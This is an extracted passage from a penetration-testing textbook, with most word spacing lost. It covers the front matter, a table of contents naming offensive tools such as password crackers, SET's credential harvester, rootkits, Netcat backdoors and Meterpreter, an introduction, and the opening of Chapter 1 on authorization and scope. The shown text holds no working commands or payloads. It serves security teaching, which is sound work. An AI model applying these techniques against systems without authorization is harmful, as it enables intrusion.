the basics of hacking and penetration testingindex-of.es › z0ro-repository-2 › data › hacking...

208

Upload: others

Post on 05-Jul-2020

10 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat
Page 2: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

TheBasicsofHackingandPenetrationTesting

EthicalHackingandPenetrationTestingMadeEasy

SECONDEDITION

Dr.PatrickEngebretson

TECHNICALEDITOR

DavidKennedyIncludesCoverageofKaliLinux

Page 3: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

TableofContents

Coverimage

Titlepage

Copyright

Dedication

Acknowledgments

MyWife

MyGirls

MyFamily

DaveKennedy

JaredDeMott

ToTheSyngressTeam

AbouttheAuthor

Introduction

WhatIsNewInThisEdition?

WhoIsTheIntendedAudienceForThisBook?

HowIsThisBookDifferentFromBook‘X’?

WhyShouldIBuyThisBook?

WhatDoINeedToFollowAlong?

Chapter1.WhatisPenetrationTesting?

InformationInThisChapter:

Page 4: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Introduction

SettingTheStage

IntroductionToKaliAndBacktrackLinux:Tools.LotsOfTools

WorkingWithYourAttackMachine:StartingTheEngine

TheUseAndCreationOfAHackingLab

PhasesOfAPenetrationTest

WhereDoIGoFromHere?

Summary

Chapter2.Reconnaissance

InformationInThisChapter:

Introduction

HTTrack:WebsiteCopier

GoogleDirectives:PracticingYourGoogle-Fu

TheHarvester:DiscoveringAndLeveragingE-MailAddresses

Whois

Netcraft

Host

ExtractingInformationFromDNS

Nslookup

Dig

Fierce:WhatToDoWhenZoneTransfersFail

ExtractingInformationFromE-MailServers

MetaGooFil

ThreatAgent:AttackOfTheDrones

SocialEngineering

SiftingThroughTheIntelToFindAttackableTargets

HowDoIPracticeThisStep?

WhereDoIGoFromHere?

Summary

Chapter3.Scanning

InformationInThisChapter:

Page 5: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Introduction

PingsAndPingSweeps

PortScanning

TheThree-WayHandshake

UsingNmapToPerformATCPConnectScan

UsingNmapToPerformAnSYNScan

UsingNmapToPerformUDPScans

UsingNmapToPerformAnXmasScan

UsingNmapToPerformNullScans

TheNmapScriptingEngine:FromCaterpillarToButterfly

PortScanningWrapUp

VulnerabilityScanning

HowDoIPracticeThisStep?

WhereDoIGoFromHere?

Summary

Chapter4.Exploitation

InformationInThisChapter:

Introduction

Medusa:GainingAccessToRemoteServices

Metasploit:Hacking,HughJackmanStyle!

JtR:KingOfThePasswordCrackers

LocalPasswordCracking

RemotePasswordCracking

LinuxPasswordCrackingAndAQuickExampleOfPrivilegeEscalation

PasswordResetting:TheBuildingAndTheWreckingBall

Wireshark:SniffingNetworkTraffic

Macof:MakingChickenSaladOutOfChickenSh∗T

Armitage:IntroducingDougFlutieOfHacking

WhyLearnFiveToolsWhenOneWorksJustAsWell?

HowDoIPracticeThisStep?

WhereDoIGoFromHere?

Summary

Page 6: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Chapter5.SocialEngineering

InformationInThisChapter:

Introduction

TheBasicsOfSET

WebsiteAttackVectors

TheCredentialHarvester

OtherOptionsWithinSET

Summary

Chapter6.Web-BasedExploitation

InformationInThisChapter:

Introduction

TheBasicsOfWebHacking

Nikto:InterrogatingWebServers

W3af:MoreThanJustAPrettyFace

Spidering:CrawlingYourTarget’sWebsite

InterceptingRequestsWithWebscarab

CodeInjectionAttacks

Cross-SiteScripting:BrowsersThatTrustSites

ZEDAttackProxy:BringingItAllTogetherUnderOneRoof

InterceptingInZAP

SpideringInZAP

ScanningInZAP

HowDoIPracticeThisStep?

WhereDoIGoFromHere?

AdditionalResources

Summary

Chapter7.PostExploitationandMaintainingAccesswithBackdoors,Rootkits,andMeterpreter

InformationInThisChapter:

Introduction

Netcat:TheSwissArmyKnife

Netcat’sCrypticCousin:Cryptcat

Page 7: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Rootkits

HackerDefender:ItIsNotWhatYouThink

DetectingAndDefendingAgainstRootkits

Meterpreter:TheHammerThatTurnsEverythingIntoANail

HowDoIPracticeThisStep?

WhereDoIGoFromHere?

Summary

Chapter8.WrappingUpthePenetrationTest

InformationInThisChapter:

Introduction

WritingThePenetrationTestingReport

ExecutiveSummary

DetailedReport

RawOutput

YouDoNotHaveToGoHomeButYouCannotStayHere

WhereDoIGoFromHere?

WrapUp

TheCircleOfLife

Summary

Index

Page 8: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Copyright

AcquiringEditor:ChrisKatsaropoulosEditorialProjectManager:BenjaminRearickProjectManager:PriyaKumaraguruparanDesigner:MarkRogers

SyngressisanimprintofElsevier225WymanStreet,Waltham,MA02451,USA

Copyright©2013,2011ElsevierInc.Allrightsreserved.

Nopartofthispublicationmaybereproducedortransmittedinanyformorbyanymeans,electronicormechanical,includingphotocopying,recording,oranyinformationstorageandretrievalsystem,withoutpermissioninwritingfromthepublisher.Detailsonhowtoseekpermission,furtherinformationaboutthePublisher’spermissionspoliciesandourarrangementswithorganizationssuchastheCopyrightClearanceCenterandtheCopyrightLicensingAgency,canbefoundatourwebsite:www.elsevier.com/permissions.

ThisbookandtheindividualcontributionscontainedinitareprotectedundercopyrightbythePublisher(otherthanasmaybenotedherein).

NoticesKnowledgeandbestpracticeinthisfieldareconstantlychanging.Asnewresearchandexperiencebroadenourunderstanding,changesinresearchmethodsorprofessionalpractices,maybecomenecessary.Practitionersandresearchersmustalwaysrelyontheirownexperienceandknowledgeinevaluatingandusinganyinformationormethodsdescribedherein.Inusingsuchinformationormethodstheyshouldbemindfuloftheirownsafetyandthesafetyofothers,includingpartiesforwhomtheyhaveaprofessionalresponsibility.

Tothefullestextentofthelaw,neitherthePublishernortheauthors,contributors,oreditors,assumeanyliabilityforanyinjuryand/ordamagetopersonsorpropertyasamatterofproductsliability,negligenceorotherwise,orfromanyuseoroperationofanymethods,products,instructions,orideascontainedinthematerialherein.

Page 9: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

LibraryofCongressCataloging-in-PublicationDataEngebretson,Pat(PatrickHenry),1974-Thebasicsofhackingandpenetrationtesting:ethicalhackingandpenetrationtestingmadeeasy/PatrickEngebretson.–Secondedition.pagescmIncludesbibliographicalreferencesandindex.ISBN978-0-12-411644-31.Penetrationtesting(Computersecurity)2.Computerhackers.3.Computersoftware–Testing.4.Computercrimes–Prevention.I.Title.QA76.9.A25E54432013005.8–dc232013017241

BritishLibraryCataloguing-in-PublicationDataAcataloguerecordforthisbookisavailablefromtheBritishLibrary.

ISBN:978-0-12-411644-3

ForinformationonallSyngresspublications,visitourwebsiteatwww.syngress.com.

PrintedintheUnitedStatesofAmerica13141510987654321

Page 10: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Dedication

ThisbookisdedicatedtoGodandmyfamily.TimetomakelikeZacBrownandgetKneeDeep.

Page 11: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Acknowledgments

Thankyou toeveryone involved inmaking this secondeditionpossible.Publishingabook isa teameffort and I have been blessed to be surrounded by great teammates. The list below is woefullyinadequate,soIapologizeinadvanceandthankeveryonewhohadahandinmakingthisbookareality.Specialthanksto:

MyWifeMy rock, my lighthouse, my steel cables. Thank you for the encouragement, belief, support, andwillingnesstobecomea“singlemother”againwhileIdisappearedforhoursanddaystoworkonthissecondedition.Aswithsomanythingsinmylife,Iamcertainthatwithoutyou,thisbookwouldnothavebeen.Morethananyoneelse,Iowethisworktoyou.Iloveyou.

MyGirlsIknowthatinmanyways,thiseditionwasharderforyouthanthefirstbecauseyouarenowoldenoughtomissmewhenIamgone,butstilltooyoungtounderstandwhyIdoit.Someday,whenyouareolder,IhopeyoupickupthisbookandknowthatallthatIdoinmylifeisforyou.

MyFamilyThankyoutomyextendedfamilyforyourloveandsupport.AnextraspecialthankyoutomymotherJoyce,whoonceagainservedasmyunofficialeditorandhasprobablyreadthisbookmoretimesthananyoneelse.Yourquickturnaroundtimeandinsightswereinvaluable.

DaveKennedyIthasbeenarealhonortohaveyoucontributetothebook.Iknowhowbusyyouarebetweenfamily,TrustedSec,theCONcircuit,SET,andeveryothercrazyprojectyourun,butyoualwaysmadetimeforthisprojectandyour insightshavemade thiseditionmuchbetter thanIcouldhavehopedfor.Thankyoumyfriend.#hugs. Iwouldbe remissnot togivesomeadditionalcredit toDave,notonlydidhecontribute through the technicaleditingprocessbuthealsoworked tirelessly toensure thebookwasKalicompliantand(naturally)single-handedlyownedChapter5(SET).

JaredDeMottWhatcanIsaytothelastmanwhomademefeellikeanabsoluteidiotaroundacomputer?Thanksfortakingthetimeandsupportingmywork.YouhavebecomeagreatfriendandIappreciateyourhelp.

Page 12: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

TotheSyngressTeamThanks again for the opportunity!Thanks to the editing team, I appreciate all of the hardwork anddedicationyougavethisproject.AspecialthankstoChrisKatsaropoulosforallyourefforts.

Page 13: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

AbouttheAuthor

Dr Patrick Engebretson obtained his Doctor of Science degree with a specialization in InformationAssurancefromDakotaStateUniversity.HecurrentlyservesasanAssistantProfessorofComputerandNetworkSecurityandalsoworksasaSeniorPenetrationTesterforsecurityfirmintheMidwest.Hisresearch interests includepenetration testing,hacking,exploitation,andmalware.DrEngebretsonhasbeen a speaker at both DEFCON and Black Hat in Las Vegas. He has also been invited by theDepartment of Homeland Security to share his research at the Software Assurance Forum inWashington, DC. He regularly attends advanced exploitation and penetration testing trainings fromindustry-recognized professionals and holds several certifications. He teaches graduate andundergraduatecoursesinpenetrationtesting,malwareanalysis,andadvancedexploitation.

Page 14: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Introduction

It is hard tobelieve that it has alreadybeen twoyears since the first editionof thisbook.Given thepopularityand(mostlypositive)feedbackIreceivedontheoriginalmanuscript,IadmitIwasanxioustogetthesecondeditionontheshelves.Itisnotthatthematerialhaschangeddrastically.Thebasicsofhackingandpenetrationtestingarelargelystill“thebasics”.However,aftercompletingthefirstedition,interactingwith readers,and listening tocountless suggestions for improvement fromfamily, friends,andcolleagues,Iamconfidentthatthiseditionwilloutshinetheoriginalinnearlyeveryfacet.Someold(out-of-date) material has been removed, some new material has been added, and the entire bookreceivedaproperpolishing.Aswithmostpeopleinthesecuritycommunity,Ihavecontinuedtolearn,myteachingmethodshavecontinuedtoevolve,andmystudentshavecontinuedtopushmetoprovidethemwithevermorematerial.Becauseofthis,IhavegotsomegreatnewtoolsandadditionsthatIamreallyexcitedtosharewithyouthis timearound.Iamgratefulforall thefeedbackIreceivedfor thefirsteditionandIhaveworkedhardtomakesurethesecondeditionisevenbetter.AsIbegantopreparethesecondedition,Ilookedcloselyateachchaptertoensurethatonlythebest

andmost relevantmaterialwas included.Aswithmany secondeditions, in some instances,youwillfind thematerial identical to theoriginal,whereas inothers, thematerialhasbeenupdated to includenewtoolsor removeout-of-dateones.Butmost important tomanyofyou, Ihave includedplentyofnewtopics,tools,andmaterialtocoverthequestionswhichIgetaskedaboutmostoften.Asamatterofquality control, both Dave Kennedy and I worked through each example and tool in the book andupdatedeachofthescreenshots.ThebookhasalsobeenwrittenwithfullKaliLinuxsupport.Iwouldliketothankallthepreviousreaderswhosentinquestionsandcorrections.Ihavebeensure

toincludetheseupdates.Regardlessofwhetheryouarepickingthisbookupforthefirsttimeoryouarereturningtopickupsomeadditionaltools,Iamconfidentthatyouwillenjoythenewedition.AsImentionedatthebeginningofthefirstedition,Isupposethereareseveralquestionsthatmaybe

runningthroughyourheadasyoucontemplatereadingthisbook:Whoistheintendedaudienceforthisbook?Howthisbookisdifferentthanbook‘x’(insertyourfavoritetitlehere)?WhyshouldIbuyit?WhatexactlywillIneedtosetupinordertofollowalongwiththeexamples?Becausetheseareallfairquestionsandbecause I amaskingyou to spendyour timeandcash, it is important toprovide someanswerstothesequestions.Forpeoplewhoareinterestedinlearningabouthackingandpenetrationtesting,walkingintoawell-

stockedbook store canbe as confusing as searching for “hacking” tutorials on the Internet. Initially,there appears to be an almost endless selection to choose from.Most large bookstores have severalshelvesdedicated tocomputersecuritybooks.They includebooksonprogrammingsecurity,networksecurity,webapplicationsecurity,mobilesecurity,rootkits,malware,penetrationtesting,vulnerabilityassessment, exploitation, and of course, hacking.However, even the hacking books seem to vary incontent and subjectmatter. Some books focus on using tools but do not discuss how these tools fittogether.Otherbooksfocusonhackingaparticularsubjectbutlackthebroadpicture.This book is intended to address these issues. It ismeant to be a single, simple starting point for

Page 15: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

anyoneinterestedinthetopicofhackingorpenetrationtesting.Thetextyouareabouttoreadwillnotonlycoverspecifictoolsandtopicsbutalsoexaminehoweachofthetoolsfit togetherandhowtheyrelyononeanothertobesuccessful.Youwillneedtomasterboththetoolsandthepropermethodology(i.e.“order”)forusingthetoolsinordertobesuccessfulinyourinitialtraining.Inotherwords,asyoubeginyourjourney,itisimportanttounderstandnotonlyhowtoruneachtoolbutalsohowthevarioustoolsrelatetoeachotherandwhattodowhenthetoolyouareusingfails.

WhatisNewinThisEdition?As Imentioned earlier, I spent a significant amount of time attempting to address each of the validcriticismsandissuesthatpreviousreadersbroughttomyattention.Iworkedthroughalltheexamplesfromeachchapter inorder toensure that theywereconsistentandrelevant. Inparticular, thiseditiondoesamuchbetterjobofstructuring,ordering,organizing,andclassifyingeachattackandtool.Agooddealoftimewasspentclearlylabelingattacksas“local”or“remote”sothatreaderswouldhaveabetterunderstandingofthepurpose,posture,andmindsetofeachtopic.Furthermore,Iinvestedsignificantlyinreorganizingtheexamplessothatreaderscouldmoreeasilycompletethediscussedattacksagainstasingle target (Metasploitable).The loneexception to this isour reconnaissancephase.Theprocessofdigitalreconoftenrequirestheuseof“live”targets,inordertobeeffective.Inadditiontothestructuralchanges,severalofthetoolsfromtheoriginalbookhavebeenremoved

andnewoneshavebeenaddedintheirplaceincludingThreatAgent,DNSinterrogationtools,theNmapScriptingEngine,Social-EngineerToolkit,Armitage,Meterpreter,w3af,ZAPandmore.Alongwiththeupdatedindividualtools(asImentioned),thebookandexamplesworkwithKaliLinuxaswell.Last, I have updated the Zero Entry Hacking (ZEH) methodology to include Post Exploitation

activities,tools,andprocesses.

WhoistheIntendedAudienceforThisBook?This book ismeant to be a very gentle yet thorough guide to theworld of hacking and penetrationtesting. It is specifically aimed at helping youmaster the basic steps needed to complete a hack orpenetration testwithout overwhelming you. By the time you finish this book, youwill have a solidunderstandingofthepenetrationtestingprocessandyouwillbecomfortablewiththebasictoolsneededtocompletethejob.Tobeclear,thisbookisaimedatpeoplewhoarenewtotheworldofhackingandpenetrationtesting,

forthosewithlittleornopreviousexperience,forthosewhoarefrustratedbytheinabilitytoseethebigpicture (how thevarious tools andphases fit together), for apersonwhowants toquicklygetup-to-speedonwiththeseminal toolsandmethodsforpenetrationtesting,orforanyonelookingtoexpandtheirknowledgeofoffensivesecurity.In short, this book is written for anyone who is interested in computer security, hacking, or

penetrationtestingbuthasnopriorexperienceandisnotsurewheretobegin.AcolleagueandIcallthisconcept “zero entry hacking” (ZEH), much like modern-day swimming pools. Zero entry poolsgradually slope from the dry end to the deep end, allowing swimmers to wade in without feelingoverwhelmedorhaveafearofdrowning.The“zeroentry”conceptallowseveryonetheabilitytousethepoolregardlessofageorswimmingability.Thisbookemploysasimilartechnique.ZEHisdesignedtoexposeyoutothebasicconceptswithoutoverwhelmingyou.CompletionofthisbookutilizingtheZEHprocesswillprepareyouforadvancedcourses,topics,andbooks.

Page 16: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

HowisThisBookDifferentfromBook‘x’?Whennotspendingtimewithmyfamily,therearetwothingsIenjoydoing:readingandhacking.Mostofthetime,Icombinethesehobbiesbyreadingabouthacking.Asaprofessorandapenetrationtester,you can imagine thatmy book shelf is linedwithmany books on hacking, security, and penetrationtesting.Aswithmost things in life, thequality andvalueof eachbook is different.Somebooks areexcellentresourceswhichhavebeenusedsomanytimesthebindingsareliterallyfallingapart.Othersare less helpful and remain in nearly new condition.A book that does a good job of explaining thedetails without losing the reader is worth its weight in gold. Unfortunately most of my personalfavorites,thosethatarewornandtattered,areeitherverylengthy(500+pages)orveryfocused(anin-depthguidetoasingletopic).Neitheroftheseisabadthing;infact,quitetheopposite,itisthelevelofdetailandtheclarityoftheauthors’explanationthatmakethemsogreat.Butatthesametime,averylargetomefocusedonadetailedsubjectofsecuritycanseemoverwhelmingtonewcomers.Unfortunately,asabeginner trying tobreak into thesecurity fieldand learn thebasicsofhacking,

tackling one of these books can be both daunting and confusing. This book is different from otherpublicationsintwoways.First,itismeantforbeginners;recalltheconceptof“zeroentry”.Ifyouhaveneverperformedanytypeofhackingoryouhaveusedafewtoolsbutarenotquitesurewhattodonext(orhowtointerprettheresultsofthetool),thisbookisforyou.Thegoalisnottoburyyouwithdetailsbuttopresentabroadoverviewoftheentirefield.Ultimatelythisbookisnotdesignedtomakeyouanexpert on every angle of penetration testing; however, it will get you up-to-speed by coveringeverythingyouneedtoknowinordertotacklemoreadvancedmaterial.Asaresultofthisphilosophy,thisbookwillstillcovereachofthemajortoolsneededtocompletethe

stepsinapenetrationtest,butitwillnotstoptoexamineallofthein-depthoradditionalfunctionalityforeachofthesetools.Thiswillbehelpfulfromthestandpointthatitwillfocusonthebasics,andinmost cases, allow us to avoid confusion caused by advanced features or minor differences in toolversions.Onceyouhavecompleted thebook,youwillhaveenoughknowledge to teachyourself the“advancedfeatures”or“newversions”ofthetoolsdiscussed.Forexample,whenwediscussportscanning,thechapterwilldiscusshowtorunseveralbasicscans

with the very popular port scannerNmap.Because this book focuses on the basics, it becomes lessimportant exactlywhich version ofNmap the user is running.Running anSYN scanusingNmap isexactlythesameregardlessofwhetheryouareconductingyourscanwithNmapversion2orversion5.Thistechniquewillbeemployedasoftenaspossible;doingsoshouldallowthereadertolearnNmap(oranytool)withouthavingtoworryaboutthechangesinfunctionalitythatoftenaccompanyadvancedfeaturesinversionchanges.Asanaddedbonus,writingthebookwiththisphilosophyshouldextenditsshelflife.Recallthegoalofthisbookistoprovidegeneralknowledgethatwillallowyoutotackleadvanced

topics and books.Once you have a firm grasp of the basics, you can always go back and learn thespecific details and advanced features of a tool. In addition, each chapter will end with a list ofsuggestedtoolsandtopicsthatareoutsidethescopeofthisbookbutcanbeusedforfurtherstudyandtoadvanceyourknowledge.Beyondjustbeingwrittenforbeginners,thisbookactuallypresentstheinformationinaveryunique

way.All thetoolsandtechniquesweuseinthisbookwillbecarriedout inaspecificorderagainstasmallnumberofrelatedtargets(alltargetmachineswillbelongtothesamesubnet,andthereaderwillbeabletoeasilyrecreatethis“target”networktofollowalong).Readerswillbeshownhowtointerprettooloutputandhowtoutilizethatoutputtocontinuetheattackfromonechaptertothenext.Thebook

Page 17: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

willcoverbothlocalandremoteattacksaswellasadiscussionofwheneachisappropriate.Theuseofasequentialandsingularrollingexamplethroughoutthebookwillhelpreadersseethebig

pictureandbettercomprehendhowthevarioustoolsandphasesfittogether.Thisisdifferentthanmanyotherbooksonthemarkettoday,whichoftendiscussvarioustoolsandattacksbutfailtoexplainhowthosetoolscanbeeffectivelychainedtogether.Presentinginformationinawaythatshowstheuserhowto clearlymove fromone phase to anotherwill provide valuable experience and allow the reader tocomplete an entire penetration test by simply following along with the examples in the book. Thisconcept should allow the reader to get a clear understanding of the fundamental knowledge whilelearninghowthevarioustoolsandphasesconnect.

WhyShouldIBuyThisBook?Even though the immediateanswers to thisquestionarehighlighted in theprecedingsections,belowyouwillfindacondensedlistofreasons:•Youwanttolearnmoreabouthackingandpenetrationtestingbutyouareunsureofwheretostart.•Youhavedabbledinhackingandpenetrationtestingbutyouarenotsurehowallofthepiecesfittogether.

•Youwanttolearnmoreaboutthetoolsandprocessesthatareusedbyhackersandpenetrationtesterstogainaccesstonetworksandsystems.

•Youarelookingforagoodplacetostartbuildingoffensivesecurityknowledge.•Youhavebeentaskedwithperformingasecurityauditforyourorganization.•Youenjoyachallenge.

WhatDoINeedtoFollowAlong?While it is entirely possible to read the book from beginning to end without recreating any of theexamples, I highly recommend getting your hands dirty and trying each of the tools and techniquesdiscussed.Thereisnosubstituteforhands-onexperience.AlltheexamplescanbedoneutilizingfreetoolsandsoftwareincludingVMWareplayerandLinux.However,ifpossible,youshouldtrytogetacopy ofWindowsXP (preferably without any Service Packs applied) in order to create aWindowsbased target. In reality, any version of Windows from 2000 through 8 will work, but the older,nonpatchedversionsmakethebesttargetswhenstartingout.In the event that you cannot find a copy ofWindows to create a vulnerable target, you can still

participate and practice each phase by creating or downloading a vulnerable version of Linux.Throughout this book, we will utilize an intentionally vulnerable version of Ubuntu called“Metasploitable”.Metasploitablemakesforaperfectpracticetargetandbest-of-alliscompletelyfree.At the time of this writing Metasploitable could be downloaded from Sourceforge athttp://sourceforge.net/projects/metasploitable/.

ALERT!Throughout the book you will find web links like the one above. Because the web isconstantly changing, many web addresses tend to be transient. If you find one of thereferencedlinksdoesnotwork,tryusingGoogletolocatetheresource.

Page 18: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Wewilldiscussmoredetailsonsettingupyourown“hackinglab”inChapter1butbelowyouwillfindaquicklistofeverythingthatyouneedtogetyourselfupandrunning,sothatyoucanfollowalongwithalloftheexamplesinthebook:•VMwarePlayeroranysoftwarecapableofrunningavirtualmachine.•AKaliLinuxorBackTrackLinuxvirtualmachineoraversionofLinuxtoserveasyourattackmachine.

•TheMetaploitablevirtualmachine,oranyunpatchedversionofWindows(preferablyWindowsXP)toserveasyourtarget.

Page 19: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

CHAPTER1

WhatisPenetrationTesting?

InformationinThisChapter:IntroductiontoKaliandBacktrackLinux:Tools.LotsofToolsWorkingwithYourAttackMachine:StartingtheEngineTheUseandCreationofaHackingLabMethodology:PhasesofaPenetrationTest

IntroductionPenetrationtestingcanbedefinedasa legalandauthorizedattempttolocateandsuccessfullyexploitcomputersystemsforthepurposeofmakingthosesystemsmoresecure.Theprocessincludesprobingforvulnerabilitiesaswellasprovidingproofofconceptattacks todemonstrate thevulnerabilitiesarereal.Properpenetration testingalwaysendswith specific recommendations foraddressingand fixingthe issues that were discovered during the test. On the whole, this process is used to help securecomputersandnetworksagainstfutureattacks.Thegeneralideaistofindsecurityissuesbyusingthesame tools and techniques as an attacker. These findings can then bemitigated before a real hackerexploitsthem.PenetrationtestingisalsoknownasPentestingPTHackingEthicalhackingWhitehathackingOffensivesecurityRedteaming.It is important to spend a fewmoments discussing the difference between penetration testing and

vulnerabilityassessment.Manypeople (andvendors) in thesecuritycommunity incorrectlyuse thesetermsinterchangeably.Avulnerabilityassessmentistheprocessofreviewingservicesandsystemsforpotentialsecurityissues,whereasapenetrationtestactuallyperformsexploitationandProofofConcept(PoC) attacks to prove that a security issue exists. Penetration tests go a step beyond vulnerabilityassessmentsbysimulatinghackeractivityanddeliveringlivepayloads.Inthisbook,wewillcovertheprocessofvulnerabilityassessmentasoneofthestepsutilizedtocompleteapenetrationtest.

SettingtheStageUnderstandingall thevariousplayersandpositions in theworldofhackingandpenetration testing iscentraltocomprehendingthebigpicture.Letusstartbypaintingthepicturewithbroadbrushstrokes.Pleaseunderstandthatthefollowingisagrossoversimplification;however,itshouldhelpyouseethe

Page 20: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

differencesbetweenthevariousgroupsofpeopleinvolved.Itmayhelp toconsider theStarWarsuniversewhere thereare twosidesof the“force”: Jedisand

Siths.GoodvsEvil.Bothsideshaveaccesstoanincrediblepower.Onesideusesitspowertoprotectandserve,whereastheothersideusesitforpersonalgainandexploitation.Learningtohackismuchlikelearningtousetheforce(orsoIimagine!).Themoreyoulearn,the

morepoweryouhave.Eventually,youwillhavetodecidewhetheryouwilluseyourpowerforgoodorbad.ThereisaclassicposterfromtheStarWarsEpisodeImoviethatdepictsAnakinasayoungboy.Ifyou lookclosely atAnakin’s shadow in theposter, youwill see it is theoutlineofDarthVader.Trysearching theInternet for“AnakinDarthVadershadow” tosee it.Understandingwhy thisposterhasappeal is critical. As a boy, Anakin had no aspirations of becoming Darth Vader, but it happenednonetheless.It isprobablysafe toassume thatvery fewpeopleget intohacking tobecomeasupervillain.The

problemisthatjourneytothedarksideisaslipperyslope.However,ifyouwanttobegreat,havetherespect of your peers, and be gainfully employed in the security workforce, you need to commityourselftousingyourpowerstoprotectandserve.Havingafelonyonyourrecordisaone-waytickettoanotherprofession.Itistruethatthereiscurrentlyashortageofqualifiedsecurityexperts,butevenso,notmanyemployerstodayarewillingtotakeachance,especiallyifthosecrimesinvolvecomputers.The rules and restrictions become evenmore stringent if youwant a computer jobwhich requires asecurityclearance.Inthepentestingworld,itisnotuncommontoheartheterms“whitehat”and“blackhat”todescribe

the Jedis and Siths. Throughout this book, the terms “white hat”, “ethical hacker”, or “penetrationtester”willbeusedinterchangeablytodescribetheJedisorgoodguys.TheSithswillbereferredtoas“blackhats”,“crackers”,or“maliciousattackers”.It is important tonote that ethicalhackers completemanyof the sameactivitieswithmanyof the

sametoolsasmaliciousattackers.Innearlyeverysituation,anethicalhackershouldstrive toactandthinklikearealblackhathacker.Thecloserthepenetrationtestsimulatesareal-worldattack,themorevalueitprovidestothecustomerpayingforthepenetrationtesting(PT).Please note how the previous paragraph says “innearly every situation”. Even thoughwhite hats

completemanyofthesametaskswithmanyofthesametools,thereisaworldofdifferencebetweenthe two sides. At its core, these differences can be boiled down to three key points: authorization,motivation,andintent.Itshouldbestressedthatthesepointsarenotallinclusive,buttheycanbeusefulindeterminingifanactivityisethicalornot.The first and simplest way to differentiate between white hats and black hats is authorization.

Authorization is the process of obtaining approval before conducting any tests or attacks. Onceauthorizationisobtained,boththepenetrationtesterandthecompanybeingauditedneedtoagreeuponthe scopeof the test.The scope includes specific information about the resources and systems to beincluded in the test.Thescopeexplicitlydefines theauthorized targets for thepenetration tester. It isimportant that both sides fully understand the authorization and scope of the PT. White hats mustalwaysrespecttheauthorizationandremainwithinthescopeofthetest.Blackhatswillhavenosuchconstraintsonthetargetlist.

ADDITIONALINFORMATIONClearly defining and understanding the scope of the test is crucial. The scope formally

Page 21: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

defines the rules of engagement for both the penetration tester and the client. It shouldincludeatargetlistaswellasspecificallylistinganysystemsorattackswhichtheclientdoesnotwanttobeincludedinthetest.Thescopeshouldbewrittendownandsignedbyauthorizedpersonnelfromboththetestingteamandtheclient.Occasionally,thescopewillneed to be amended during a penetration test.When this occurs, be sure to update thescopeandresignbeforeproceedingtotestthenewtargets.

The second way to differentiate between an ethical hacker and a malicious hacker is throughexamination of the attacker’s motivation. If the attacker is motivated or driven by personal gain,including profit through extortion or other devious methods of collecting money from the victim,revenge, fame, or the like, he or she should be considered a black hat. However, if the attacker ispreauthorizedandhisorhermotivationistohelptheorganizationandimprovetheirsecurity,heorshecanbeconsideredawhitehat. Inaddition,ablackhathackermayhaveasignificantamountof timefocusedonattackingtheorganization.Inmostcases,aPTmaylast1weektoseveralweeks.Basedonthe time allotted during the PT, awhite hatmay not have discoveredmore advanced time-intensiveexposures.Finally, if theintent is toprovidetheorganizationarealisticattacksimulationsothat thecompany

